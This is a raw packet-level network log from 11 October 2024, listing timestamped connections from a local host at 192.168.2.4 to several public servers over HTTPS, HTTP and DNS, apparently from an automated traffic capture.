Oct 11, 2024 20:29:09.833595037 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833595037 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833627939 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833677053 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833683968 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833921909 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833939075 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833975077 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833981037 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.834001064 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.834322929 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.834345102 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.834397078 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.834397078 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.834398031 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.834410906 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.834451914 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.834506989 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.834554911 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.834677935 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.834677935 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.834697008 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.834778070 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.839706898 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:09.839899063 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:09.841372967 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:09.841403961 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:09.841658115 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:09.842772007 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:09.887408972 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:10.169867039 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:10.169934988 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:10.170218945 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:10.170845032 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:10.170883894 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:10.170903921 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:10.170911074 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:14.461616993 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:14.461709976 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:14.461802006 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:14.462769032 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:14.462807894 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:15.230564117 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:15.231425047 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:15.236782074 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:15.236802101 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:15.237240076 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:15.288775921 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:15.928410053 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:15.971421957 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.179989100 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180016041 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180022001 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180044889 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180053949 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180058956 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180080891 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:16.180156946 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180192947 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180226088 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:16.180226088 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:16.180260897 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:16.180454969 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180500031 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.180543900 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:16.732237101 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:16.732300997 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:16.732335091 CEST	49770	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:16.732353926 CEST	443	49770	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:17.740437031 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:17.740578890 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:17.740725994 CEST	49746	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:29:17.917702913 CEST	61897	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:17.922705889 CEST	53	61897	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:17.922818899 CEST	61897	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:17.922818899 CEST	61897	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:17.928081989 CEST	53	61897	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:18.442599058 CEST	53	61897	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:18.456721067 CEST	61897	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:18.462764978 CEST	53	61897	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:18.462835073 CEST	61897	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:19.381189108 CEST	49746	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:29:19.381221056 CEST	443	49746	142.250.185.164	192.168.2.4
Oct 11, 2024 20:29:19.465666056 CEST	59262	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:19.470746994 CEST	53	59262	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:19.470824957 CEST	59262	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:19.470894098 CEST	59262	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:19.475743055 CEST	53	59262	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:19.935053110 CEST	53	59262	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:19.935517073 CEST	59262	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:19.940821886 CEST	53	59262	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:19.940879107 CEST	59262	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:20.992796898 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:20.992882013 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:20.993316889 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:20.993674040 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:20.993710041 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.760148048 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.760296106 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:21.761507034 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:21.761538982 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.761887074 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.763063908 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:21.807405949 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.994420052 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.994517088 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.994575024 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:21.994760990 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:21.994803905 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:21.994832993 CEST	59264	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:21.994848013 CEST	443	59264	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:22.049160957 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:22.049236059 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:22.049326897 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:22.050726891 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:22.050757885 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:22.807861090 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:22.808084011 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:22.809758902 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:22.809773922 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:22.810157061 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:22.811197996 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:22.855397940 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.129503965 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.129524946 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.129656076 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.129684925 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.129723072 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.129753113 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.129796982 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.130028009 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.130064011 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.130136967 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.134025097 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.134061098 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.134085894 CEST	59265	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.134102106 CEST	443	59265	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.269175053 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.269233942 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:23.269306898 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.270059109 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:23.270097971 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.112346888 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.112452984 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.114579916 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.114608049 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.114948988 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.116456985 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.159450054 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.591182947 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.591204882 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.591249943 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.591301918 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.591372013 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.591445923 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.591445923 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.593177080 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.593247890 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.593261957 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.593282938 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.593327045 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.593353987 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.594309092 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.594343901 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:24.594367981 CEST	59266	443	192.168.2.4	4.245.163.56
Oct 11, 2024 20:29:24.594383001 CEST	443	59266	4.245.163.56	192.168.2.4
Oct 11, 2024 20:29:26.365464926 CEST	57919	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:26.370400906 CEST	53	57919	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:26.370490074 CEST	57919	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:26.370711088 CEST	57919	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:26.376504898 CEST	53	57919	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:26.835736036 CEST	53	57919	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:26.840599060 CEST	57919	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:26.845973015 CEST	53	57919	1.1.1.1	192.168.2.4
Oct 11, 2024 20:29:26.846030951 CEST	57919	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:29:35.325743914 CEST	80	49736	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:35.325879097 CEST	49736	80	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:35.382631063 CEST	49736	80	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:35.387855053 CEST	80	49736	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:57.536638021 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:57.536688089 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:57.536746025 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:57.537148952 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:57.537166119 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.210731983 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.210808992 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.212651014 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.212661028 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.212910891 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.220899105 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.267400980 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.422930002 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.422949076 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.422961950 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.423073053 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.423089027 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.423185110 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.503824949 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.503839970 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.503900051 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.503907919 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.504237890 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.510659933 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.510673046 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.510811090 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.510817051 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.510946035 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.591521978 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.591537952 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.591700077 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.591708899 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.591821909 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.592847109 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.592859983 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.592971087 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.592976093 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.593163013 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.594475031 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.594487906 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.594552040 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.594557047 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.595412970 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.598352909 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.598367929 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.598467112 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.598473072 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.598519087 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.679239988 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.679256916 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.679419994 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.679430962 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.679605961 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.680042028 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.680054903 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.680120945 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.680126905 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.680319071 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.680862904 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.680876970 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.680978060 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.680984020 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.681082964 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.681838036 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.681853056 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.681958914 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.681965113 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.682028055 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.685992002 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.686007023 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.686136007 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.686141968 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.686254978 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.743155003 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.743170023 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.743412971 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.743422031 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.744771004 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.766422033 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.766494036 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.766530991 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.766614914 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.766614914 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.766671896 CEST	57921	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.766686916 CEST	443	57921	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.809798956 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.809798956 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.809825897 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.809839964 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.810271978 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.810271978 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.810275078 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.810275078 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.810300112 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.810303926 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.812711954 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.812781096 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.812802076 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.812813997 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.812884092 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.812890053 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.813162088 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.813191891 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.813225985 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.813246012 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.813890934 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.813914061 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:58.814075947 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.814075947 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:58.814099073 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.475007057 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.475872040 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.475934982 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.476238966 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.476254940 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.478127003 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.478583097 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.478600979 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.478992939 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.478997946 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.484421968 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.484958887 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.484970093 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.485236883 CEST	57926	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.485240936 CEST	443	57926	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.504291058 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.504647970 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.504654884 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.505012989 CEST	57925	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.505017042 CEST	443	57925	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.505934000 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.506263018 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.506278992 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.506633997 CEST	57922	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.506638050 CEST	443	57922	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.591147900 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.591219902 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.591439962 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.591475964 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.591487885 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.591522932 CEST	57923	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.591526985 CEST	443	57923	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.592005014 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.592081070 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.592215061 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.592266083 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.592595100 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.592662096 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.592662096 CEST	57924	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.592708111 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.592736959 CEST	443	57924	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.594854116 CEST	57927	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:29:59.594902992 CEST	443	57927	13.107.253.64	192.168.2.4
Oct 11, 2024 20:29:59.595000982 CEST	57927	443	192.168.2.4	13.107.253.64
